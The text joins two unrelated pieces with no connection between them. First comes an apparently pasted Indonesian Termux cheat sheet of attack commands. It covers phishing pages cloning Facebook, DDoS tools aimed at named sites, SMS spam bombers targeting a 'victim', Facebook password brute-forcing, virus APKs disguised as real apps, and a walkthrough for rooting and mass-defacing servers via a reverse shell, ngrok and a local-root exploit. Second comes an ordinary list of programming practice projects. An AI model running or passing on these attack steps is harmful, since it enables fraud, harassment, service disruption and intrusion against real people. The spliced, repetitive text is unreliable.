*Weeman* ) $ apt update && apt upgrade -y $ apt install git -y $ apt install python2 -y $ git clone https://github.com/evait-security/weeman $ cd weeman $ chmod 777 weeman.py $ python2 weeman.py Contoh $ set url http://facebook.com $ set action_url http://facebook.com run (Bisa diganti phising nya, kalau Twitter ya bisa ataupun yg lain) *Ikuti Langkah Demi Langkah* (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py Ikuti Langkah Demi Langkah (```Install``` *SQLMAP*) $ apt update $ apt install python $ apt install python2 $ apt install git $ gi clone https://github.com/sqlmapproject/sqlmap $ cd sqlmap $ Python2 sqlmap.py Exemple:- Python2 sqlmap.py -u website --dbs -D acuart --tables -D acuart -T users --columns -D acuart -T users -C name,email,phone -dump Ikuti Langkah Demi Langkah Lacak ip git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak bbom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjh --------------------------------------------------------------------- *1.Spammer SMS Grab Install Spammernya dulu* $pkg install python2 $pip2 install requests $pkg install git $git clone https://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $ls $chmod +x spammer.py $python2 spammer.py --delay 30 nomor korban. --------------------------------------------------------------------------------------- *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py --------------------------------------------------------------------------------------- *2.Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php --------------------------------------------------------------------------------------- 3. Install webdav $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav $ curl -k -O https://pastebin.com/raw/HnVyQPtR $ mv HnVyQPtR webdav.py $ python2 webdav.py --------------------------------------------------------------------------------------- *2. Xerxes* $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 --------------------------------------------------------------------------------------- *3. Torshammer* $ pkg update $ pkg install git $ Pkg install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py -T -t seword.com ( web y ang kalian attack ) #mr khanz'''TOOL TERMUX Cara Install D-tect tool di android termux (command ) : $ apt install git $ apt install python2 $ git clone https://github.com/shawarkhanethicalhacker/D-TECT $ ls $ cd D-TECH $ chmod +x d-tect.py $ python2 d-tect.py cara uninstall tool termux rm -rf toolsnya cara buat virus cd /sdcard cd vbug ls chmod vbug.py chmod -v vbug.py python2 vbug.py irssi /connet irc.freenode.net /nick w3wandroid /join #modol _________________________ DDOS via Termux 1. Hammer $ pkg update (tekan enter) $ pkg upgrade (tekan enter) $ pkg install python (tekan enter) $ pkg install git (tekan enter) $ git clone https://github.com/cyweb/hammer (tekan enter) $ cd hammer (tekan enter) $ python hammer.py (tekan enter) $ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter) 104.27.146.125 2. Xerxes $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 3. Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py _________________________________________ Bermain moon-buggy $ pkg install moon-buggy $ moon-buggy ________________________________________ musikan di termux $ pkg install mpv $ mpv/sdcard/lagu.mp3 /sdcard/ bisa di ganti sesuai letak musik ________________________________________ Browsing di termux $ pkg install w3m $ w3m www.google.com Linknya bsa diubah ________________________________________ Telephone di termux $ pkg install termux-api $ termux-telephony-call nomornya _______________________________________ Menampilkan animasi kereta :v $ pkg install sl $ sl _______________________________________ menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya.  Tutorial membuat virus seperti aplikasi aslinya🚨 Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction cara membuat virus cd Vbug/vbug.py cd /storage/emulated/0/Vbug cd vbug Python2 vbug.py CRACK PASSWORD HASH git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ cd FHX-Hash-Killer python2 FHXHashKiller.py git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py pkg install irssi irssi (enter) /connect chat.freenode.net /nick oki /join #mrmaze Cara install Metasploit di termux (No Root) ~ apt update && apt upgrade ~ apt install curl ~ curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh ~ chmod +x metasploit.sh ~ ./metasploit.sh ... Tunggu proses instalasi sekitar 30-40 menit tergantung koneksi internet ... ( hack fb via termux ) $apt update $apt upgrade $apt install python2 $apt install python2-dev $apt install wget $dip2 install mechanize $cd/sterage/emulated/0 $python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung *silahkan mencoba* tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools pip install mps_youtube pip install youtube_dl apt install mpv mpsyt /judul $ pkg update && pkg upgrade CHATTING VIA TERMUX $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam 100% work boom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjhj +6282399188718 Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (```Install``` *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnecter Mass Deface. 1. Install~ Buka Termux 2. Install Ngrok Registrasi Autthokennya. (http://ngrok.com/download;http://ngrok.com/signup) $ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip $ unzip ngrok-stable-linux-arm.zip ngrok $ ./ngrok authtoken JWJDKNxxxxxxxxxx $ ./ngrok tcp port :~# Welcome : Plan Free "0.tcp.ngrok.io:port-ngrok ~> localhost:port" 3. Download Perl/PHP Backconnecter (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) dan Edit file nya, cari $ip dan $port ganti dengan (0.tcp.ngrok.io:port-ngrok) ~>Upload ke website (PERL: ON)(PHP: ON) 5. in termux command : $ nc -lnvp port 6. in backdoor shell : $ perl perl-reverse-shell.pl (atau) > http://situs.co.li/perl-reverse-shell.php (Run the script simply by browsing to the newly uploaded file in your web browser) .----(after backconnect successfully)--- 7. upload LOCALROOT $ wget https://domain.com/localroot/dirty $ chmod 777 dirty $ ./dirty New password: ndasmu (successfully rooted) 8. import TTY shell ===>jika menggunakan dirty<=== $ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py $ python /tmp/sad.py ===>jika menggunakan cowroot<=== $ python -c 'import pty;pty.spawn("/usr/bin/passwd")' (https://evertpot.com/189/) .-------------------------------------------- 9. login as ROOT $ su rintoar Password: ndasmu .-------------------------------------------- 10 ./mass (https://m.youtube.com/watch?v=HPQQok40v78) .-------------------------------------------- WEEMAN [✓] apt update && apt upgrade -y apt install git -y apt install python2 -y git clone https://github.com/evait-security/weeman cd weeman chmod 777 weeman.py python2 weeman.py Ex set url http://facebook.com set action_url http://facebook.com run ___________________________________________ Hunner framework apt update apt install python apt install git -y git clone https://github.com/b3-v3r/Hunner cd Hunner chmod 777 hunner.py python hunner.py ___________________________________________ SQLMAP [✓] apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap Python2 sqlmap.py ______ Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump ___________________________________ DDOS XERXES [✓] clang xerxes.c -o xerxes ./xerxes website 80 ___________________________________ DDOS TORSHAMMER [✓] apt-get update apt-get install python2 apt-get install tor apt-get install git git clone https://github.com/dotfighter/torshammer.git cd torshammer python2 torshammer.py -T -t website ___________________________________ BRUTEFORCE [✓] apt update apt upgrade apt install python apt install pip pip install wordlist apt install worlist Wordlist -h cd /sdcard Cat pas.txt ___________________________________ Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com ___________________________________ Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py ___________________________________ BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py ___________________________________ HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run ___________________________________________ RED HAWK apt update apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK chmod +x rhawk.php apt install php ls php rhawk.php ___________________________________________ D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com ___________________________________________ viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com __________________ Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py PERKIRAAN cuaca curl http://wttr.in/ (lokasi) tool Routersploit apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py Cara pake cd routersploit ./ rsf.py use scanners/autopwn show options set target 192.168.1.1 set port 8080 set threads 10 masukkan exploitsnya set target 192.168.1.1 -check -run tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (```Install``` *Weeman* ) $ apt update && apt upgrade -y $ apt install git -y $ apt install python2 -y $ git clone https://github.com/evait-security/weeman $ cd weeman $ chmod 777 weeman.py $ python2 weeman.py Contoh $ set url http://facebook.com $ set action_url http://facebook.com run (Bisa diganti phising nya, kalau Twitter ya bisa ataupun yg lain) *Ikuti Langkah Demi Langkah* (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py Ikuti Langkah Demi Langkah (```Install``` *SQLMAP*) $ apt update $ apt install python $ apt install python2 $ apt install git $ gi clone https://github.com/sqlmapproject/sqlmap $ cd sqlmap $ Python2 sqlmap.py Exemple:- Python2 sqlmap.py -u website --dbs -D acuart --tables -D acuart -T users --columns -D acuart -T users -C name,email,phone -dump Ikuti Langkah Demi Langkah Lacak ip git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak bbom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjh --------------------------------------------------------------------- *1.Spammer SMS Grab Install Spammernya dulu* $pkg install python2 $pip2 install requests $pkg install git $git clone https://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $ls $chmod +x spammer.py $python2 spammer.py --delay 30 nomor korban. --------------------------------------------------------------------------------------- *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py --------------------------------------------------------------------------------------- *2.Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php --------------------------------------------------------------------------------------- 3. Install webdav $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav $ curl -k -O https://pastebin.com/raw/HnVyQPtR $ mv HnVyQPtR webdav.py $ python2 webdav.py --------------------------------------------------------------------------------------- *2. Xerxes* $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 --------------------------------------------------------------------------------------- *3. Torshammer* $ pkg update $ pkg install git $ Pkg install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py -T -t [8/11 18.11] BOT X3NONOLIMIT: Hack FACEBOOK *apt update && apt upgrade *pkg install python2 && pkg install wget *pip2 install mechanize && pip2 install request *pkg install git *git clone https://github.com/tikuskecil/multi-bruteforce-facebook *cd multi-bruteforce-facebook *ls *python2 MBF.py
ManojKumarPatnaik
A list of practical projects that anyone can solve in any programming language (See solutions). These projects are divided into multiple categories, and each category has its own folder. To get started, simply fork this repo. CONTRIBUTING See ways of contributing to this repo. You can contribute solutions (will be published in this repo) to existing problems, add new projects, or remove existing ones. Make sure you follow all instructions properly. Solutions You can find implementations of these projects in many other languages by other users in this repo. Credits Problems are motivated by the ones shared at: Martyr2’s Mega Project List Rosetta Code Table of Contents Numbers Classic Algorithms Graph Data Structures Text Networking Classes Threading Web Files Databases Graphics and Multimedia Security Numbers Find PI to the Nth Digit - Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go. Find e to the Nth Digit - Just like the previous problem, but with e instead of PI. Enter a number and have the program generate e up to that many decimal places. Keep a limit to how far the program will go. Fibonacci Sequence - Enter a number and have the program generate the Fibonacci sequence to that number or to the Nth number. Prime Factorization - Have the user enter a number and find all Prime Factors (if there are any) and display them. Next Prime Number - Have the program find prime numbers until the user chooses to stop asking for the next one. Find Cost of Tile to Cover W x H Floor - Calculate the total cost of the tile it would take to cover a floor plan of width and height, using a cost entered by the user. Mortgage Calculator - Calculate the monthly payments of a fixed-term mortgage over given Nth terms at a given interest rate. Also, figure out how long it will take the user to pay back the loan. For added complexity, add an option for users to select the compounding interval (Monthly, Weekly, Daily, Continually). Change Return Program - The user enters a cost and then the amount of money given. The program will figure out the change and the number of quarters, dimes, nickels, pennies needed for the change. Binary to Decimal and Back Converter - Develop a converter to convert a decimal number to binary or a binary number to its decimal equivalent. Calculator - A simple calculator to do basic operators. Make it a scientific calculator for added complexity. Unit Converter (temp, currency, volume, mass, and more) - Converts various units between one another. The user enters the type of unit being entered, the type of unit they want to convert to, and then the value. The program will then make the conversion. Alarm Clock - A simple clock where it plays a sound after X number of minutes/seconds or at a particular time. Distance Between Two Cities - Calculates the distance between two cities and allows the user to specify a unit of distance. This program may require finding coordinates for the cities like latitude and longitude. Credit Card Validator - Takes in a credit card number from a common credit card vendor (Visa, MasterCard, American Express, Discoverer) and validates it to make sure that it is a valid number (look into how credit cards use a checksum). Tax Calculator - Asks the user to enter a cost and either a country or state tax. It then returns the tax plus the total cost with tax. Factorial Finder - The Factorial of a positive integer, n, is defined as the product of the sequence n, n-1, n-2, ...1, and the factorial of zero, 0, is defined as being 1. Solve this using both loops and recursion. Complex Number Algebra - Show addition, multiplication, negation, and inversion of complex numbers in separate functions. (Subtraction and division operations can be made with pairs of these operations.) Print the results for each operation tested. Happy Numbers - A happy number is defined by the following process. Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or it loops endlessly in a cycle which does not include 1. Those numbers for which this process ends in 1 are happy numbers, while those that do not end in 1 are unhappy numbers. Display an example of your output here. Find the first 8 happy numbers. Number Names - Show how to spell out a number in English. You can use a preexisting implementation or roll your own, but you should support inputs up to at least one million (or the maximum value of your language's default bounded integer type if that's less). Optional: Support for inputs other than positive integers (like zero, negative integers, and floating-point numbers). Coin Flip Simulation - Write some code that simulates flipping a single coin however many times the user decides. The code should record the outcomes and count the number of tails and heads. Limit Calculator - Ask the user to enter f(x) and the limit value, then return the value of the limit statement Optional: Make the calculator capable of supporting infinite limits. Fast Exponentiation - Ask the user to enter 2 integers a and b and output a^b (i.e. pow(a,b)) in O(LG n) time complexity. Classic Algorithms Collatz Conjecture - Start with a number n > 1. Find the number of steps it takes to reach one using the following process: If n is even, divide it by 2. If n is odd, multiply it by 3 and add 1. Sorting - Implement two types of sorting algorithms: Merge sort and bubble sort. Closest pair problem - The closest pair of points problem or closest pair problem is a problem of computational geometry: given n points in metric space, find a pair of points with the smallest distance between them. Sieve of Eratosthenes - The sieve of Eratosthenes is one of the most efficient ways to find all of the smaller primes (below 10 million or so). Graph Graph from links - Create a program that will create a graph or network from a series of links. Eulerian Path - Create a program that will take as an input a graph and output either an Eulerian path or an Eulerian cycle, or state that it is not possible. An Eulerian path starts at one node and traverses every edge of a graph through every node and finishes at another node. An Eulerian cycle is an eulerian Path that starts and finishes at the same node. Connected Graph - Create a program that takes a graph as an input and outputs whether every node is connected or not. Dijkstra’s Algorithm - Create a program that finds the shortest path through a graph using its edges. Minimum Spanning Tree - Create a program that takes a connected, undirected graph with weights and outputs the minimum spanning tree of the graph i.e., a subgraph that is a tree, contains all the vertices, and the sum of its weights is the least possible. Data Structures Inverted index - An Inverted Index is a data structure used to create full-text search. Given a set of text files, implement a program to create an inverted index. Also, create a user interface to do a search using that inverted index which returns a list of files that contain the query term/terms. The search index can be in memory. Text Fizz Buzz - Write a program that prints the numbers from 1 to 100. But for multiples of three print “Fizz” instead of the number and for the multiples of five print “Buzz”. For numbers which are multiples of both three and five print “FizzBuzz”. Reverse a String - Enter a string and the program will reverse it and print it out. Pig Latin - Pig Latin is a game of alterations played in the English language game. To create the Pig Latin form of an English word the initial consonant sound is transposed to the end of the word and an ay is affixed (Ex.: "banana" would yield anana-bay). Read Wikipedia for more information on rules. Count Vowels - Enter a string and the program counts the number of vowels in the text. For added complexity have it report a sum of each vowel found. Check if Palindrome - Checks if the string entered by the user is a palindrome. That is that it reads the same forwards as backward like “racecar” Count Words in a String - Counts the number of individual words in a string. For added complexity read these strings in from a text file and generate a summary. Text Editor - Notepad-style application that can open, edit, and save text documents. Optional: Add syntax highlighting and other features. RSS Feed Creator - Given a link to RSS/Atom Feed, get all posts and display them. Quote Tracker (market symbols etc) - A program that can go out and check the current value of stocks for a list of symbols entered by the user. The user can set how often the stocks are checked. For CLI, show whether the stock has moved up or down. Optional: If GUI, the program can show green up and red down arrows to show which direction the stock value has moved. Guestbook / Journal - A simple application that allows people to add comments or write journal entries. It can allow comments or not and timestamps for all entries. Could also be made into a shoutbox. Optional: Deploy it on Google App Engine or Heroku or any other PaaS (if possible, of course). Vigenere / Vernam / Ceasar Ciphers - Functions for encrypting and decrypting data messages. Then send them to a friend. Regex Query Tool - A tool that allows the user to enter a text string and then in a separate control enter a regex pattern. It will run the regular expression against the source text and return any matches or flag errors in the regular expression. Networking FTP Program - A file transfer program that can transfer files back and forth from a remote web sever. Bandwidth Monitor - A small utility program that tracks how much data you have uploaded and downloaded from the net during the course of your current online session. See if you can find out what periods of the day you use more and less and generate a report or graph that shows it. Port Scanner - Enter an IP address and a port range where the program will then attempt to find open ports on the given computer by connecting to each of them. On any successful connections mark the port as open. Mail Checker (POP3 / IMAP) - The user enters various account information include web server and IP, protocol type (POP3 or IMAP), and the application will check for email at a given interval. Country from IP Lookup - Enter an IP address and find the country that IP is registered in. Optional: Find the Ip automatically. Whois Search Tool - Enter an IP or host address and have it look it up through whois and return the results to you. Site Checker with Time Scheduling - An application that attempts to connect to a website or server every so many minute or a given time and check if it is up. If it is down, it will notify you by email or by posting a notice on the screen. Classes Product Inventory Project - Create an application that manages an inventory of products. Create a product class that has a price, id, and quantity on hand. Then create an inventory class that keeps track of various products and can sum up the inventory value. Airline / Hotel Reservation System - Create a reservation system that books airline seats or hotel rooms. It charges various rates for particular sections of the plane or hotel. For example, first class is going to cost more than a coach. Hotel rooms have penthouse suites which cost more. Keep track of when rooms will be available and can be scheduled. Company Manager - Create a hierarchy of classes - abstract class Employee and subclasses HourlyEmployee, SalariedEmployee, Manager, and Executive. Everyone's pay is calculated differently, research a bit about it. After you've established an employee hierarchy, create a Company class that allows you to manage the employees. You should be able to hire, fire, and raise employees. Bank Account Manager - Create a class called Account which will be an abstract class for three other classes called CheckingAccount, SavingsAccount, and BusinessAccount. Manage credits and debits from these accounts through an ATM-style program. Patient / Doctor Scheduler - Create a patient class and a doctor class. Have a doctor that can handle multiple patients and set up a scheduling program where a doctor can only handle 16 patients during an 8 hr workday. Recipe Creator and Manager - Create a recipe class with ingredients and put them in a recipe manager program that organizes them into categories like desserts, main courses, or by ingredients like chicken, beef, soups, pies, etc. Image Gallery - Create an image abstract class and then a class that inherits from it for each image type. Put them in a program that displays them in a gallery-style format for viewing. Shape Area and Perimeter Classes - Create an abstract class called Shape and then inherit from it other shapes like diamond, rectangle, circle, triangle, etc. Then have each class override the area and perimeter functionality to handle each shape type. Flower Shop Ordering To Go - Create a flower shop application that deals in flower objects and use those flower objects in a bouquet object which can then be sold. Keep track of the number of objects and when you may need to order more. Family Tree Creator - Create a class called Person which will have a name, when they were born, and when (and if) they died. Allow the user to create these Person classes and put them into a family tree structure. Print out the tree to the screen. Threading Create A Progress Bar for Downloads - Create a progress bar for applications that can keep track of a download in progress. The progress bar will be on a separate thread and will communicate with the main thread using delegates. Bulk Thumbnail Creator - Picture processing can take a bit of time for some transformations. Especially if the image is large. Create an image program that can take hundreds of images and converts them to a specified size in the background thread while you do other things. For added complexity, have one thread handling re-sizing, have another bulk renaming of thumbnails, etc. Web Page Scraper - Create an application that connects to a site and pulls out all links, or images, and saves them to a list. Optional: Organize the indexed content and don’t allow duplicates. Have it put the results into an easily searchable index file. Online White Board - Create an application that allows you to draw pictures, write notes and use various colors to flesh out ideas for projects. Optional: Add a feature to invite friends to collaborate on a whiteboard online. Get Atomic Time from Internet Clock - This program will get the true atomic time from an atomic time clock on the Internet. Use any one of the atomic clocks returned by a simple Google search. Fetch Current Weather - Get the current weather for a given zip/postal code. Optional: Try locating the user automatically. Scheduled Auto Login and Action - Make an application that logs into a given site on a schedule and invokes a certain action and then logs out. This can be useful for checking webmail, posting regular content, or getting info for other applications and saving it to your computer. E-Card Generator - Make a site that allows people to generate their own little e-cards and send them to other people. Do not use Flash. Use a picture library and perhaps insightful mottos or quotes. Content Management System - Create a content management system (CMS) like Joomla, Drupal, PHP Nuke, etc. Start small. Optional: Allow for the addition of modules/addons. Web Board (Forum) - Create a forum for you and your buddies to post, administer and share thoughts and ideas. CAPTCHA Maker - Ever see those images with letters numbers when you signup for a service and then ask you to enter what you see? It keeps web bots from automatically signing up and spamming. Try creating one yourself for online forms. Files Quiz Maker - Make an application that takes various questions from a file, picked randomly, and puts together a quiz for students. Each quiz can be different and then reads a key to grade the quizzes. Sort Excel/CSV File Utility - Reads a file of records, sorts them, and then writes them back to the file. Allow the user to choose various sort style and sorting based on a particular field. Create Zip File Maker - The user enters various files from different directories and the program zips them up into a zip file. Optional: Apply actual compression to the files. Start with Huffman Algorithm. PDF Generator - An application that can read in a text file, HTML file, or some other file and generates a PDF file out of it. Great for a web-based service where the user uploads the file and the program returns a PDF of the file. Optional: Deploy on GAE or Heroku if possible. Mp3 Tagger - Modify and add ID3v1 tags to MP3 files. See if you can also add in the album art into the MP3 file’s header as well as other ID3v2 tags. Code Snippet Manager - Another utility program that allows coders to put in functions, classes, or other tidbits to save for use later. Organized by the type of snippet or language the coder can quickly lookup code. Optional: For extra practice try adding syntax highlighting based on the language. Databases SQL Query Analyzer - A utility application in which a user can enter a query and have it run against a local database and look for ways to make it more efficient. Remote SQL Tool - A utility that can execute queries on remote servers from your local computer across the Internet. It should take in a remote host, user name, and password, run the query and return the results. Report Generator - Create a utility that generates a report based on some tables in a database. Generates sales reports based on the order/order details tables or sums up the day's current database activity. Event Scheduler and Calendar - Make an application that allows the user to enter a date and time of an event, event notes, and then schedule those events on a calendar. The user can then browse the calendar or search the calendar for specific events. Optional: Allow the application to create re-occurrence events that reoccur every day, week, month, year, etc. Budget Tracker - Write an application that keeps track of a household’s budget. The user can add expenses, income, and recurring costs to find out how much they are saving or losing over a period of time. Optional: Allow the user to specify a date range and see the net flow of money in and out of the house budget for that time period. TV Show Tracker - Got a favorite show you don’t want to miss? Don’t have a PVR or want to be able to find the show to then PVR it later? Make an application that can search various online TV Guide sites, locate the shows/times/channels and add them to a database application. The database/website then can send you email reminders that a show is about to start and which channel it will be on. Travel Planner System - Make a system that allows users to put together their own little travel itinerary and keep track of the airline/hotel arrangements, points of interest, budget, and schedule. Graphics and Multimedia Slide Show - Make an application that shows various pictures in a slide show format. Optional: Try adding various effects like fade in/out, star wipe, and window blinds transitions. Stream Video from Online - Try to create your own online streaming video player. Mp3 Player - A simple program for playing your favorite music files. Add features you think are missing from your favorite music player. Watermarking Application - Have some pictures you want copyright protected? Add your own logo or text lightly across the background so that no one can simply steal your graphics off your site. Make a program that will add this watermark to the picture. Optional: Use threading to process multiple images simultaneously. Turtle Graphics - This is a common project where you create a floor of 20 x 20 squares. Using various commands you tell a turtle to draw a line on the floor. You have moved forward, left or right, lift or drop the pen, etc. Do a search online for "Turtle Graphics" for more information. Optional: Allow the program to read in the list of commands from a file. GIF Creator A program that puts together multiple images (PNGs, JPGs, TIFFs) to make a smooth GIF that can be exported. Optional: Make the program convert small video files to GIFs as well. Security Caesar cipher - Implement a Caesar cipher, both encoding, and decoding. The key is an integer from 1 to 25. This cipher rotates the letters of the alphabet (A to Z). The encoding replaces each letter with the 1st to 25th next letter in the alphabet (wrapping Z to A). So key 2 encrypts "HI" to "JK", but key 20 encrypts "HI" to "BC". This simple "monoalphabetic substitution cipher" provides almost no security, because an attacker who has the encoded message can either use frequency analysis to guess the key, or just try all 25 keys.
Sfedfcv
